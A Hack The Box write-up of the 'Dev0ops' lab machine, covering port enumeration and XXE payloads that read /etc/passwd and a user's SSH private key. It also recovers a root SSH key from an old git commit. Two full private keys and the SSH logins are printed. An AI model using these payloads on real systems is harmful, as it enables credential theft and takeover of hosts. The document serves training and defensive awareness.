Hack The Box - Dev0ops

8 minute read

Dev0opsImage


Summary


Dev0ops highlighted issues with weakly configured XML parsers which lead to an XXE vulnerability, and developer error which lead to SSH keys in commit revisions. All developers using Git or another type of version control should take note of the risks associated with accidently committing sensitive information, and should understand how to properly remove these from a git repository.

Gaining Access

  • Browse web service
  • Enumerate upload feature
  • Exploit XXE vulnerability to find roosa user
  • Steal SSH key for roosa and SSH in as roosa

Elevating Privileges

  • Check user bash history
  • Locate changelog with ‘git log’
  • Checkout commit with SSH key
  • SSH in as root

Write-up


Enumeration

Starting out I enumerated open ports.

root@mintsec:~/Desktop/machines/devoops# nmap -sC -sV -oA nmap 10.10.10.91
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Of interest was a web service called gunicorn.

Browse web service

GunicornWebpage

The webpage referenced feed.py. The page itself wasn’t actually a feed, but rather a picture so this seemed like an application still under development.

Enumerate upload feature

Wondering if there were any juicy directories, I ran a quick check using gobuster.

gobuster -u http://10.10.10.91:5000 -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  • /feed
  • /upload

Upload, one of my favourite types of services! I went to see if there were any restrictions on file uploads.

UploadFeature

Alrighty, so at this point I was able to upload XML files, and I knew the web application was meant to be in the form of an RSS feed.

The Open Web Application Security Project maintains a list of the 10 most critical web application vulnerabilities currently known as the OWASP Top 10 Project. Added in 2017, and coming in all the way at number 4, was a vulnerability known as XML External Entities (XXE).

Although not new to many seasoned web application penetration testers, this vulnerability doesn’t generally get as much attention as SQL Injection in the media, despite it being worth $10,000 for the people at Detectify who found this exact issue in a google service. This was the vulnerability I wanted to attempt to exploit.

Exploit XXE vulnerability to find roosa user

Based on the upload page, I knew I needed to upload something which had 3 elements:

  • Author
  • Subject
  • Content

I created an XML file which would satisfy these constraints and included the ‘/etc/passwd’ file as the external entity which I wanted to include in my feed.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Subject>
    <Author>&xxe;</Author>
    <Content></Content>
</Subject>

This presented me with the below, excellent the exploit works.

PROCESSED BLOGPOST: Author: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false messagebus:x:106:110::/var/run/dbus:/bin/false uuidd:x:107:111::/run/uuidd:/bin/false lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false whoopsie:x:109:117::/nonexistent:/bin/false avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false saned:x:119:127::/var/lib/saned:/bin/false usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false git:x:1001:1001:git,,,:/home/git:/bin/bash roosa:x:1002:1002:,,,:/home/roosa:/bin/bash sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false Subject: Content: URL for later reference: /uploads/post.xml File path: /home/roosa/deploy/src

At this point I could include any arbitrary file, and given I can see there is a user called roosa, I can include the user flag using the below.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/roosa/user.txt" >]>
<Subject>
    <Author>&xxe;</Author>
    <Content></Content>
</Subject>

Steal SSH key for roosa and SSH in as roosa

From here I had to look at gaining access. Because SSH was open it was likely there’d be a SSH key I could steal and use. After attempting to include the SSH key for roosa.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa" >]>
<Subject>
    <Author>&xxe;</Author>
    <Content></Content>
</Subject>

I had successfully obtained a key which should have given me SSH access. The formatting was off; however, I was able to tidy this up so it could be used.

Gaining Access

-----BEGIN RSA PRIVATE KEY----- 
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
-----END RSA PRIVATE KEY-----

Saving this to a file called ‘keyform’ I used it to SSH into the machine.

chmod 600 keyform
ssh -i keyform [email protected]

Success, I had access and could read user.txt


User.txt: c5808
cc67b


Check user bash history

One of the things which I often find useful if I get a shell on a linux machine is to check the bash history for any recent commands. In this case it provided a potential attack vector.

roosa@gitter:~$ history 
1 ssh-keygen --help
2 ssh-keygen 
3 ls -altr .ssh/
4 cat .ssh/id_rsa.pub 
5 nano /etc/host
6 nano /etc/hostname 
7 sudo nano /etc/hostname 
8 exit
9 nano .ssh/id_rsa.pub 
10 exit
11 ssh git@localhost
12 exit
13 ssh git@localhost
14 clear
15 apt-get upgrade
16 exit
17 ls -altr
18 mkdir work
19 cd work
20 mkdir blogfeed
21 git init
22 git add .
23 git commit -m 'initial commit'
24 git config --global user.email "[email protected]"
25 git config --global user.name "Roosa Hakkerson"
26 git commit -m 'initial commit'
27 nano README-MD
28 nano README-md
29 nano README.md
30 git add README.md 
31 git commit -m 'initial commit'
32 git remote add origin git@localhost:/srv/git/blogfeed.git
33 git push origin master
34 exit
35 ps -Af
36 kill 27499
37 exit
38 sudo su -
39 exit
40 groups
41 exit
42 git push origin master
43 cd work/blogfeed/
44 git push origin master
45 cd ..
46 cd blogfeed/
47 cd ..
48 git add README.md 
49 git commit -m 'Initial commit'
50 git push
51 git log 
52 ls 
53 mkdir src
54 mkdir resources
55 cd resources
56 mkdir integration
57 mkdir integration/auth_credentials.key
58 nano integration/auth_credentials.key/
59 ls -altr
60 chmod go-rwx authcredentials.key 
61 ls -atlr
62 cd ..
63 ls -altr
64 chmod -R o-rwx .
65 ls -altr
66 ls resources/
67 ls resources/integration/
68 ls -altr resources/
69 ls -altr resources/integration/
70 rm -Rf resources/integration/auth_credentials.key
71 mv resources/authcredentials.key resources/integration/
72 git add resources/integration/authcredentials.key 
73 git commit -m 'add key for feed integration from tnerprise backend'
74 ls -altr resources/integration/
75 git push
76 ssh-keygen
77 ös -altr
78 ls .altr
79 ls -altr
80 cat kak
81 cp kak resources/integration/authcredentials.key 
82 git add resources/integration/authcredentials.key 
83 git commit -m 'reverted accidental commit with proper key'
84 git push

Following this I could see a few items of interest.

42 git push origin master
43 cd work/blogfeed/
44 git push origin master

This told me that there likely a git repo under work/blogfeed, most likely at the directory ~/work/blogfeed.

54 mkdir resources
55 cd resources
56 mkdir integration
57 mkdir integration/auth_credentials.key
58 nano integration/auth_credentials.key/

This told me that a resources directory had been created, and inside this was an integration subdirectory which had “auth_credentials.key” created in it. This seemed like a nice target, but reading on


71 mv resources/authcredentials.key resources/integration/
72 git add resources/integration/authcredentials.key 
73 git commit -m 'add key for feed integration from tnerprise backend'
74 ls -altr resources/integration/
75 git push

This told me that a different file called “authcredentials.key” had been committed to the git repo at some stage; however, the next section made everything crystal clear.

81 cp kak resources/integration/authcredentials.key 
82 git add resources/integration/authcredentials.key 
83 git commit -m 'reverted accidental commit with proper key'
84 git push

Based on the commit message I could see that the authorisationcredentials.key file wasn’t meant to have been committed, and they’d committed a new file originally called ‘kak’ in place of the key in order to ‘revert’ this commit.

Locate changelog with ‘git log’

The issue with this was that git keeps a commit history with revisions, and that simply committing over a file doesn’t actually remove the file, but rather creates a new revision of it. Navigating to the ~/work/blogfeed directory, I was able to view the commit history and find the relevant commit ID.

roosa@gitter:~/work/blogfeed$ git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 26 06:13:55 2018 -0400

    Use Base64 for pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <[email protected]>
Date:   Tue Mar 20 15:37:00 2018 -0400

    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <[email protected]>
Date:   Tue Mar 20 15:08:09 2018 -0400

    Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <[email protected]>
Date:   Tue Mar 20 08:38:21 2018 -0400

    Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <[email protected]>
Date:   Tue Mar 20 08:37:56 2018 -0400

    Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:24:30 2018 -0400

    Initial commit

The commit where the, ‘oops’ in this case, happened was.

dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

More than one ‘oops’ by the look of it, they’d misspelled ‘enterprise’.

Checkout commit with authcredentials.key

From here I was able to checkout the auth key and view it.

git checkout d387abf63e05c9628a59195cec9311751bdb283f -- resources/integration/authcredentials.key
cat resources/integration/authcredentials.key

A SSH key? What a surprise
I’m going to go out on a limb here and assume it’s for the root user.

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
+XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE=
-----END RSA PRIVATE KEY-----

SSH in as root

Repeating the previous process, I saved this as a SSH key and used it to fully compromise the system.

chmod 600 rootkey
ssh -i rootkey [email protected]

Elevating Privileges


root.txt: d4fe1
ac7b3


Final Notes

At the time of writing other HTB members had rated the machine elements as shown below. Feel free to reach out and provide any feedback or let me know if this helped.

Heatmap